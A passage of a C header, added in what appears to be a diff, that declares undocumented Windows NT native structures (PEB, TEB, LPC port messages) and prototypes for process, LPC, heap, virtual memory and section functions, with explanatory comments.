UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; + PVOID LoadedImports; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + PVOID Unknown1; + PVOID Unknown2; + PVOID Unknown3; + +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the + BOOLEAN ReadImageFileExecOptions; // + BOOLEAN BeingDebugged; // + BOOLEAN SpareBool; // + HANDLE Mutant; // INITIAL_PEB structure is also updated. + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID KernelCallbackTable; + HANDLE SystemReserved; + PVOID AtlThunkSListPtr32; + PPEB_FREE_BLOCK FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + // + // Useful information for LdrpInitialize + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + // + // Passed up from MmCreatePeb from Session Manager registry key + // + + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + + // + // Where heap manager keeps track of all heaps created for a process + // Fields initialized by MmCreatePeb. ProcessHeaps is initialized + // to point to the first free byte after the PEB and MaximumNumberOfHeaps + // is computed from the page size used to hold the PEB, less the fixed + // size of this data structure. + // + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + // + // + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + + // + // Following fields filled in by MmCreatePeb from system values and/or + // image header. These fields have changed since Windows NT 4.0, + // so use with caution + // + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG ImageProcessAffinityMask; + ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; + +} PEB, *PPEB; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; +typedef struct _ACTIVATION_CONTEXT *PACTIVATION_CONTEXT; +typedef struct _TEB_ACTIVE_FRAME *PTEB_ACTIVE_FRAME; +typedef struct _TEB_ACTIVE_FRAME_CONTEXT *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME Previous; + PACTIVATION_CONTEXT *ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK; +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH +{ + ULONG Offset; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#ifdef _M_X64 + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#ifdef _M_X64 + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#ifdef _M_X64 + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT SpareSameTebBits : 4; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; + PVOID ReservedForWdf; +} TEB, *PTEB; + +/** +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + PTEB_ACTIVE_FRAME Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + CHAR * FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +// +// Thread environment block +// + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + ULONG CurrentLocale; + ULONG FpSoftwareStatusRegister; + VOID * SystemReserved1[54]; + LONG ExceptionCode; + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[36]; + ULONG TxFsContext; + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG Win32ClientInfo[62]; + VOID * glDispatchTable[233]; + ULONG glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + ULONG LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + VOID * TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + VOID * DbgSsReserved[2]; + ULONG HardErrorMode; + VOID * Instrumentation[9]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + UCHAR SpareBool0; + UCHAR SpareBool1; + UCHAR SpareBool2; + UCHAR IdealProcessor; + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG SoftPatchPtr1; + PVOID ThreadPoolData; + VOID * * TlsExpansionSlots; + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + PVOID CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + WORD CrossTebFlags; + ULONG SpareCrossTebBits: 16; + WORD SameTebFlags; + ULONG DbgSafeThunkCall: 1; + ULONG DbgInDebugPrint: 1; + ULONG DbgHasFiberData: 1; + ULONG DbgSkipThreadAttach: 1; + ULONG DbgWerInShipAssertCode: 1; + ULONG DbgRanProcessInit: 1; + ULONG DbgClonedThread: 1; + ULONG DbgSuppressDebugMsg: 1; + ULONG SpareSameTebBits: 8; + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + UINT64 LastSwitchTime; + UINT64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +} TEB, *PTEB; + +*/ +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + + + +#define NtCurrentProcess() ((HANDLE) -1) +#define NtCurrentThread() ((HANDLE) -2) + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtSuspendProcess( + IN HANDLE ProcessHandle + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtResumeProcess( + IN HANDLE ProcessHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSAPI + NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + +//------------------------------------------------------------------------------ +// LPC Functions + +#define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC + +// LPC connection types +typedef enum _LPC_TYPE +{ + LPC_NEW_MESSAGE, // (0) A new message + LPC_REQUEST, // (1) A request message + LPC_REPLY, // (2) A reply to a request message + LPC_DATAGRAM, // (3) + LPC_LOST_REPLY, // (4) + LPC_PORT_CLOSED, // (5) Send when port is deleted + LPC_CLIENT_DIED, // (6) Messages to thread termination ports + LPC_EXCEPTION, // (7) Messages to thread exception ports + LPC_DEBUG_EVENT, // (8) Messages to thread debug port + LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError + LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort + +} LPC_TYPE, *PLPC_TYPE; + +// +// Define header for Port Message +// + +typedef struct _PORT_MESSAGE +{ + USHORT DataLength; // Length of data following the header (bytes) + USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE) + USHORT Type; // Type of the message (See LPC_TYPE enum) + USHORT VirtualRangesOffset; // Offset of array of virtual address ranges + CLIENT_ID ClientId; // Client identifier of the message sender + ULONG MessageId; // Identifier of the particular message instance + union + { + ULONG CallbackId; // + ULONG ClientViewSize; // Size, in bytes, of section created by the sender + }; + +} PORT_MESSAGE, *PPORT_MESSAGE; + +// +// Define structure for initializing shared memory on the caller's side of the port +// + +typedef struct _PORT_VIEW { + + ULONG Length; // Size of this structure + HANDLE SectionHandle; // Handle to section object with + // SECTION_MAP_WRITE and SECTION_MAP_READ + ULONG SectionOffset; // The offset in the section to map a view for + // the port data area. The offset must be aligned + // with the allocation granularity of the system. + ULONG ViewSize; // The size of the view (in bytes) + PVOID ViewBase; // The base address of the view in the creator + // + PVOID ViewRemoteBase; // The base address of the view in the process + // connected to the port. +} PORT_VIEW, *PPORT_VIEW; + +// +// Define structure for shared memory coming from remote side of the port +// + +typedef struct _REMOTE_PORT_VIEW { + + ULONG Length; // Size of this structure + ULONG ViewSize; // The size of the view (bytes) + PVOID ViewBase; // Base address of the view + +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +/*++ + + NtCreatePort + ============ + + Creates a LPC port object. The creator of the LPC port becomes a server + of LPC communication + + PortHandle - Points to a variable that will receive the + port object handle if the call is successful. + + ObjectAttributes - Points to a structure that specifies the object s + attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE, + OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object. + + MaxConnectionInfoLength - The maximum size, in bytes, of data that can + be sent through the port. + + MaxMessageLength - The maximum size, in bytes, of a message + that can be sent through the port. + + MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for + message storage. Zero means default value. + + ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148). + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN ULONG MaxPoolUsage + ); + + +/*++ + + NtConnectPort + ============= + + Creates a port connected to a named port (cliend side). + + PortHandle - A pointer to a variable that will receive the client + communication port object handle value. + + PortName - Points to a structure that specifies the name + of the port to connect to. + + SecurityQos - Points to a structure that specifies the level + of impersonation available to the port listener. + + ClientView - Optionally points to a structure describing + the shared memory region used to send large amounts of data + to the listener; if the call is successful, this will be updated. + + ServerView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory region + used by the listener to send large amounts of data to the + caller. + + MaxMessageLength - Optionally points to a variable that receives the size, + in bytes, of the largest message that can be sent through the port. + + ConnectionInformation - Optionally points to a caller-allocated + buffer or variable that specifies connect data to send to the listener, + and receives connect data sent by the listener. + + ConnectionInformationLength - Optionally points to a variable that + specifies the size, in bytes, of the connect data to send + to the listener, and receives the size of the connect data + sent by the listener. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +/*++ + + NtListenPort + ============ + + Listens on a port for a connection request message on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ConnectionRequest - Points to a caller-allocated buffer + or variable that receives the connect message sent to + the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtAcceptConnectPort + =================== + + Accepts or rejects a connection request on the server side. + + PortHandle - Points to a variable that will receive the port object + handle if the call is successful. + + PortContext - A numeric identifier to be associated with the port. + + ConnectionRequest - Points to a caller-allocated buffer or variable + that identifies the connection request and contains any connect + data that should be returned to requestor of the connection + + AcceptConnection - Specifies whether the connection should + be accepted or not + + ServerView - Optionally points to a structure describing + the shared memory region used to send large amounts of data to the + requestor; if the call is successful, this will be updated + + ClientView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory + region used by the requestor to send large amounts of data to the + caller + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN PVOID PortContext OPTIONAL, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT PPORT_VIEW ServerView OPTIONAL, + OUT PREMOTE_PORT_VIEW ClientView OPTIONAL + ); + +/*++ + + NtCompleteConnectPort + ===================== + + Completes the port connection process on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + +/*++ + + NtRequestPort + ============= + + Sends a request message to a port (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestPort ( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtRequestWaitReplyPort + ====================== + + Sends a request message to a port and waits for a reply (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + + ReplyMessage - Points to a caller-allocated buffer or variable + that receives the reply message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyPort + =========== + + Sends a reply message to a port (Server side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + +/*++ + + NtReplyWaitReplyPort + ==================== + + Sends a reply message to a port and waits for a reply message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyWaitReceivePort + ====================== + + Optionally sends a reply message to a port and waits for a + message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + PortContext - Optionally points to a variable that receives + a numeric identifier associated with the port. + + ReplyMessage - Optionally points to a caller-allocated buffer + or variable that specifies the reply message to send to the port. + + ReceiveMessage - Points to a caller-allocated buffer or variable + that receives the message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT PVOID *PortContext OPTIONAL, + IN PPORT_MESSAGE ReplyMessage OPTIONAL, + OUT PPORT_MESSAGE ReceiveMessage + ); + +//----------------------------------------------------------------------------- +// Heap functions + +#define HEAP_NO_SERIALIZE 0x00000001 +#define HEAP_GROWABLE 0x00000002 +#define HEAP_GENERATE_EXCEPTIONS 0x00000004 +#define HEAP_ZERO_MEMORY 0x00000008 +#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010 +#define HEAP_TAIL_CHECKING_ENABLED 0x00000020 +#define HEAP_FREE_CHECKING_ENABLED 0x00000040 +#define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080 +#define HEAP_CREATE_ALIGN_16 0x00010000 +#define HEAP_CREATE_ENABLE_TRACING 0x00020000 +#define HEAP_MAXIMUM_TAG 0x0FFF +#define HEAP_PSEUDO_TAG_FLAG 0x8000 + +// +// Data structure for heap definition. This includes various +// sizing parameters and callback routines, which, if left NULL, +// result in default behavior +// + +typedef struct RTL_HEAP_PARAMETERS { + ULONG Length; //sizeof(RTL_HEAP_PARAMETERS) + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG MaximumAllocationSize; + ULONG VirtualMemoryThreshold; + ULONG InitialCommit; + ULONG InitialReserve; + PVOID CommitRoutine; + ULONG Reserved; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + + +#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap) + + +NTSYSAPI +HANDLE +NTAPI +RtlCreateHeap ( + IN ULONG Flags, + IN PVOID BaseAddress OPTIONAL, + IN ULONG SizeToReserve, + IN ULONG SizeToCommit, + IN BOOLEAN Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Definition OPTIONAL + ); + + +NTSYSAPI +ULONG +NTAPI +RtlDestroyHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN ULONG Size + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +ULONG +NTAPI +RtlCompactHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address, + IN ULONG Size + ); + + +NTSYSAPI +ULONG +NTAPI +RtlSizeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Virtual memory functions + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + OUT PVOID Buffer, + IN ULONG NumberOfBytesToRead, + OUT PULONG NumberOfBytesRead OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN ULONG NumberOfBytesToWrite, + OUT PULONG NumberOfBytesWritten OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Section functions + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 + +} SECTION_INHERIT; + + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, + SectionImageInformation + +} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS; + + +/*++ + + NtCreateSection + =============== + + Creates a section object. + + SectionHandle - Points to a variable that will receive the section + object handle if the call is successful. + + DesiredAccess - Specifies the type of access that the caller requires + to the section object. This parameter can be zero, or any combination + of the following flags: + + SECTION_QUERY - Query access + SECTION_MAP_WRITE - Can be written when mapped + SECTION_MAP_READ - Can be read when mapped + SECTION_MAP_EXECUTE - Can be executed when mapped + SECTION_EXTEND_SIZE - Extend access + SECTION_ALL_ACCESS - All of the preceding + + STANDARD_RIGHTS_REQUIRED + + ObjectAttributes - Points to a structure that specifies the object s attributes. + OBJ_OPENLINK is not a valid attribute for a section object. + + MaximumSize - Optionally points to a variable that specifies the size, + in bytes, of the section. If FileHandle is zero, the size must be + specified; otherwise, it can be defaulted from the size of the file + referred to by FileHandle. + + SectionPageProtection - The protection desired for the pages + of the section when the section is mapped. This parameter can take + one of the following values: + + PAGE_READONLY + PAGE_READWRITE + PAGE_WRITECOPY + PAGE_EXECUTE + PAGE_EXECUTE_READ + PAGE_EXECUTE_READWRITE + PAGE_EXECUTE_WRITECOPY + + AllocationAttributes - The attributes for the section. This parameter must + be a combination of the following values: + + SEC_BASED 0x00200000 // Map section at same address in each process + SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages + SEC_IMAGE 0x01000000 // Map section as an image + SEC_VLM 0x02000000 // Map section in VLM region + SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage + SEC_COMMIT 0x08000000 // Commit pages; the default behavior + SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable + + FileHandle - Identifies the file from which to create the section object. + The file must be opened with an access mode compatible with the protection + flags specified by the Protect parameter. If FileHandle is zero, + the function creates a section object of the specified size backed + by the paging file rather than by a named file in the file system. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG 